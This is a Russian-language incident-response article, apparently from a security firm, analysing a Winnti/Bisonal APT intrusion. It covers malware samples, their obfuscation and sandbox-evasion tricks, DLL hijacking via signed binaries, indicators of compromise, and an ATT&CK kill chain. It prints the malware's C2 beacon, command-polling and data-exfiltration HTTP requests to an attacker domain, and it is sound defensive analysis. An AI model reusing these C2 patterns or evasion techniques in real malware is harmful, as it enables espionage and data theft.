Одно фишинговое письмо, по неосторожности открытое сотрудником компании, - и важная информация слита злоумышленнику. Всего лишь один клик мышью - и на компьютере сотрудника запущены процессы, «допускающие» злоумышленников к инфраструктуре организации. При этом «антивирусы» взлом пропустили. Как раз с таким случаем столкнулся наш автор, эксперт «Информзащиты», при обнаружении атаки группировки Winnti на компанию-заказчика. Эта группировка специализируется на краже данных у предприятий военно-промышленного комплекса, правительственных организаций и разработчиков ПО.

«Информзащите» удалось отследить и систематизировать техники и тактики Winnti. Анализ получился достаточно глубоким и будет любопытен техническим специалистам. Предлагаем погружаться в детали постепенно, а потому сегодня только первая часть скринов кода и наших комментариев. 

 

Введение

В ноябре 2020 года при подключении заказчика на мониторинг SOC и анализе событий в инфраструктуре аналитики IZ:SOC компании «Информзащита» зафиксировали подозрительную активность. В процессе расследования инцидентов ИБ были обнаружены следы APT (advanced persistent threat).

Атаки проводились как с использованием автоматизированных средств разведки и проникновения, так и в ручном режиме, когда злоумышленники осуществляли непосредственное управление установленным в системе вредоносным программным обеспечением. Результатом атак, помимо проникновения и закрепления в инфраструктуре, был сбор информации со скомпрометированных хостов и ее отправка за пределы организации.

В состав используемого злоумышленниками инструментария входили:

  • средства для сбора информации;

  • средства удаленного управления;

  • многофункциональный бэкдор семейства Bisonal, утилиты для сканирования сети на наличие уязвимости CVE-2017-0144 (MS17-010);

  • утилиты из набора Impacket, программы для перенаправления сетевого трафика и извлечения паролей из памяти;

  • вредоносные динамические библиотеки для инъекции вредоносного кода;

  • легитимные процессы.

Согласно доступным нам на момент написания данной статьи отчетам производителей средств защиты информации, обнаруженные индикаторы компрометации и используемое вредоносное ПО предположительно относится к семейству Bisonal. Данные индикаторы могут быть связаны с APT-группой Winnti. Страной происхождения группы предположительно является Китай. Основными целями APT-атак, в которых используют указанное ВПО, являются шпионаж и кража критических данных. Как правило, жертвы группы Winnti - это организации, относящиеся к ВПК, аэрокосмической отрасли, а также правительственные организации, разработчики ПО.

Анализ функциональности вредоносного ПО

В рамках расследования инцидента было обнаружено несколько образцов вредоносного программного обеспечения. Результаты исследования некоторых из них представлены ниже.

MpUxSCuiL.exe

Один из обнаруженных образцов маскируется под модуль Windows Defender. В рамках анализа функциональности вредоносного ПО была установлена схожесть обнаруженных экземпляров с семейством Bisonal. В частности, было изучено поведение, методы обфускации кода и защиты от отладки.

Образец представляет собой средство для сбора информации о зараженной системе и скрытого выполнения команд от C2.

Для усложнения анализа функция main изученного образца насыщена переходами, а общее количество блоков составляет несколько тысяч.

Для загрузки необходимых библиотек используется явное связывание. Имена библиотек хранятся в зашифрованном виде и расшифровываются перед использованием.

  • Явное связывание библиотек с использованием функций GetProcAddress и LoadLibraryA

В качестве С2 используются два сервера управления: внешний (172.217.13[.]84:443) и локальный (10.10.48[.]166:49688). В обоих случаях устанавливается TCP-соединение, через которое передаются зашифрованные данные. Адреса серверов управления также хранятся в зашифрованном виде. Для реализации сетевых соединений используются Windows сокеты и библиотека WS2_32.dll.

  • Зашифрованные строки с IP-адресами серверов управления

  • Расшифровка IP-адресов серверов управления

  • Функция decrypt

Декомпилированный код функции decrypt представлен на изображении. Данная функция используется для шифрования имен загружаемых библиотек, IP-адресов серверов управления и т.д.

  • Сетевое взаимодействие с C2 с использованием функций библиотеки WS2_32.dll

  • Бессмысленные строки в исполняемом файле

Вместе с использованием избыточного ветвления в главной функции, в образце содержится множество строк, которые не выполняют никаких функций. Кроме того, в образце используются функции GetTickCount и IsDebuggerPresent, которые реализуют простейший механизм антиотладки.

Подобное поведение было описано в следующих отчетах

https://securelist.ru/cactuspete-apt-groups-updated-bisonal-backdoor/97729

https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html

https://unit42.paloaltonetworks.com/unit42-bisonal-malware-used-attacks-russia-south-korea/

Применение DLL Hijacking

Для закрепления в системе злоумышленники использовали технику Dll Hijacking. Основное преимущество в том, что в автозапуск системы прописывается уязвимый для Dll Hijacking легитимный файл, зачастую имеющий цифровую подпись. В этом случае вредоносная нагрузка злоумышленников располагается в DLL библиотеке, которая будет загружена при запуске легитимного исполняемого файла.

В ходе расследования инцидента было обнаружено несколько модулей, которые закреплялись подобным образом. Для реализации Dll Hijacking злоумышленники использовали легитимные файлы с цифровой подписью:

NvContainer64.exe (NVIDIA)- 1e3c33ff0386326773b6c58d46cbf53b1b2bef91

frwl_svc.exe (Dr.Web) - 6f86e203d20abb0499bbf8468095d99ffb20f6e2

LBTWiz.exe (Logitech) – 431e5aa8ab8616dbca14854182a6c0a73946abdc

bdreinit.exe (BitDefender) - f9a1e292bf6cdf7bb34c293dc06d8754549fe1a4

Анализ библиотек с полезными нагрузками в настоящий момент не завершен.

version.dll - e370e8d883ea347b6f3475522adc69bc8725d127

wtsapi32.dll - 3bb315d0a86cf6a08eb32ea5a59263fcb8a649af

LBTServ.dll - 387c404930815ac5711e52185492b6425b1de05a

dbghelp.dll - a543f2abe6e46aefde4aae0ccc82ad3c26e8c391

Conhost.exe

На нескольких хостах был обнаружен другой экземпляр вредоносного ПО, который использовала та же группировка. В ходе изучения образца был выявлена следующая функциональность:

  1. передача списка процессов на C2;

  2. завершение указанного оператором процесса;

  3. загрузка с С2 и запуск исполняемого файла;

  4. запуск командной оболочки для интерактивной работы оператора.

Главная функция семпла содержит более тысячи блоков с избыточным ветвлением и искусственным усложнением логики. При детальном рассмотрении установлено, что большинство блоков в главной функции не несут смысловой нагрузки и не выполняются при запуске образца. Кроме того, в главной функции содержится множество статических строк, которые не используются. Как и в случае MpUxSCuiL.exe, эти строки не участвуют при выполнении основной логики и служат лишь для усложнения анализа.

Также в целях усложнения анализа авторы семпла реализовали специфический механизм для задержки выполнения программы. Данный механизм представляет собой счетчик, в котором вместо целочисленных значений сравниваются значения хешей MD5 от целых чисел. При этом число представлено в кодировке ANSI. Конечным значением счетчика является хеш 0882a673e1a7ef00f19171501163b669 от последовательности байт 0x313038333736363439 (число 108376649). Подобные вычисления создают большую нагрузку на центральный процессор, что вызывает практически полную его загрузку на несколько минут. Предполагается, что такая сложность вычислений заставит некоторые антивирусные средства и песочницы прервать проверку файла.

Счетчик на значениях MD5
Константные значения, которые используются в алгоритме MD5

Далее семпл получает свое название с помощью функции GetModuleFileNameW и проверяет один из двух критериев: если название модуля не conhost.exe или в названии отсутствует расширение .tmp, то семпл прекращает свою работу.

После проверки имени образец расшифровывает другой набор строк для дальнейшей работы. В качестве шифрования используется XOR. Несмотря на то, что ключ XOR генерируется «на лету», он статичен и совпадает для всех строк. В приведенном наборе строк находятся HTTP-заголовки, домен сервера управления, эндпоинты сервера управления, название библиотеки wininet.dll и ее экспортируемые функции.

Далее образец загружает библиотеку wininet.dll с помощью функции LoadLibrary. После получения адреса библиотеки в памяти с помощью функции GetProcAddress вычисляются смещения до экспортируемых функций:

  • Получение адресов используемых функций

Список используемых функций wininet.dll

Далее вредонос получает данные о системе:

  • используемый прокси-сервер;

  • раскладка клавиатуры;

  • время с момента загрузки системы;

  • имя компьютера;

  • учетная запись, из-под которой запущен семпл;

  • локальный IP-адрес хоста.

Для работы с сервером управления образец периодически отправляет Hello-сообщения на С2 через HTTPS соединение. В поле Cookie передается информация о зараженной системе закодированная Base32. Формат передаваемых в Cookies данных представлен на рисунке.

GET /ru/order/index.php?strPageID=2150213824 HTTP/1.1

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/66.0.3359.181 Safari/537.36

Accept-Encoding: gzip, deflate

Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: JSESSIONID=AHAKQKMAWUAQAAH75IMAIAAAAAAAMAAAAAAQAAAAAEHQAV

2JJYWUKRSVIZIDSTSKJNJFEBAAOVZWK4QPABLUSTRNIVDFKRSQHFHEUS2SKIJAAMJSG4XDALRQFYYTUOBQHAYDUOSPNYDAA3TFO44TCMI=

Host: microsoft.offices-update.com

  • Структура Hello-сообщения

Если в теле ответа на Hello-сообщение сервер возвращает {"status":"success"}, семпл создает новый поток, в котором выполняются обращения на другой эндпоинт сервера управления: https://{Domain}/ru/news/index.php. В качестве параметра newsID используется дата и время (только минуты и секунды). Этот эндпоинт применяется для передачи вредоносу различных команд.

GET /ru/news/index.php?strPageID=2150213824&newsID=2021-04-12-2658 HTTP/1.1

Host: microsoft.offices-update.com

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/66.0.3359.181 Safari/537.36

Accept-Encoding: gzip, deflate

Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7

  • Обращение на эндпоинт для получения команд

В ответе сервера может быть передана одна из команд.

1. Загрузка и запуск исполняемого файла:

  • обращение к эндпоинту https://{domain}/sitefiles/index.php и сохранение файла в каталоге %TEMP%;

  • запуск исполняемого файла с помощью функции ShellExecuteW;

  • передача вывода запущенного файла на эндпоинт-приемник.

2. Запуск интерактивной командной оболочки:

  • запуск экземпляра командной строки;

  • периодическое чтение и передача вывода командной строки.

3. Передача команды в экземпляр командной строки через pipe

4. Получение списка процессов

5. Завершение указанного процесса

Вывод каждой из описанных команд передается на специальный эндпоинт-приемник в виде POST-запроса. Передаваемые данные шифруются тем же XOR-ключом, что и строки в теле трояна.

POST /xhome.native.page/datareader.php?sid=2150213824 HTTP/1.1

Host: microsoft.offices-update.com

Connection: close

Accept: */*

Referer: /siteFiles/index.php?strPageID=2150213824

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/66.0.3359.181 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Accept-Encoding: gzip, deflate

Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7

Content-Length: 21

Cache-Control: no-cache

<encoded_data>

Если команда в ответе отсутствовала, троян засыпает на случайное количество миллисекунд.

GET /siteFiles/index.php?strPageID=2150213824 HTTP/1.1

Host: microsoft.offices-update.com

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/66.0.3359.181 Safari/537.36

Accept-Encoding: gzip, deflate

Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7

Kill Chain

На рисунке 1 представлены действия злоумышленников в инфраструктуре. Из проведенного анализа в предыдущей главе мы предполагаем, что для получения первичного доступа к системе использовался фишинговый документ. Далее на компьютере одного из сотрудников была запущена вредоносная нагрузка, которая подключалась к внешнему серверу и скачивала исполняемый код. На каждом хосте вручную собирались уникальные вредоносные нагрузки, которые в дальнейшем использовали технику Hijack Execution Flow: DLL Search Order Hijacking для закрепления в системе. Также закрепление происходило с помощью классических техник, а именно: модификаций веток в реестре, запуска вредоносных служб, создания задач в планировщике заданий.

После этого злоумышленники проводили разведку с использованием как стандартных системных утилит, так и с применением специального ПО. Для перемещения внутри инфраструктуры и удаленного выполнения команд использовалась утилита из пакета Impacket - wmiexec.exe. Доступ к учетным записям был получен посредством обращения к области памяти процесса lsass.exe.

В качестве инструмента для вывода данных во внешнюю сеть злоумышленники использовали собственную сборку архиватора.

Существуют различные подходы к описанию действий злоумышленника. В данной статье будет использован TTPs-подход на основе ATT&CK MATRIX, доступной базы знаний, основанной на анализе реальных атак.

Использование такой системы категоризации поведения атакующих позволяет не только предсказать дальнейшие шаги, но и выявить конкретную группировку в соответствии с используемыми методами.

Initial Access (TA0001) / Execution (TA0002) / Prive

Предположительно, начальный доступ к инфраструктуре был получен в результате отправки фишингового письма сотруднику организации. По обнаруженным остаточным следам после открытия вложения на компьютере запускается вредоносная нагрузка, которая подключается к внешнему серверу и скачивает исполняемый код.

Вредоносная нагрузка не детектируется распространёнными на рынке антивирусными средствами как на клиенте, так и на почтовом сервере…

Продолжение читайте во второй части. Мы расскажем, каким образом злоумышленники обходили защиту, как усложняли оценку критичности украденной информации, и что именно позволило аналитикам провести работу по определению скомпрометированных хостов и предотвращению дальнейшего продвижения злоумышленников внутри сети.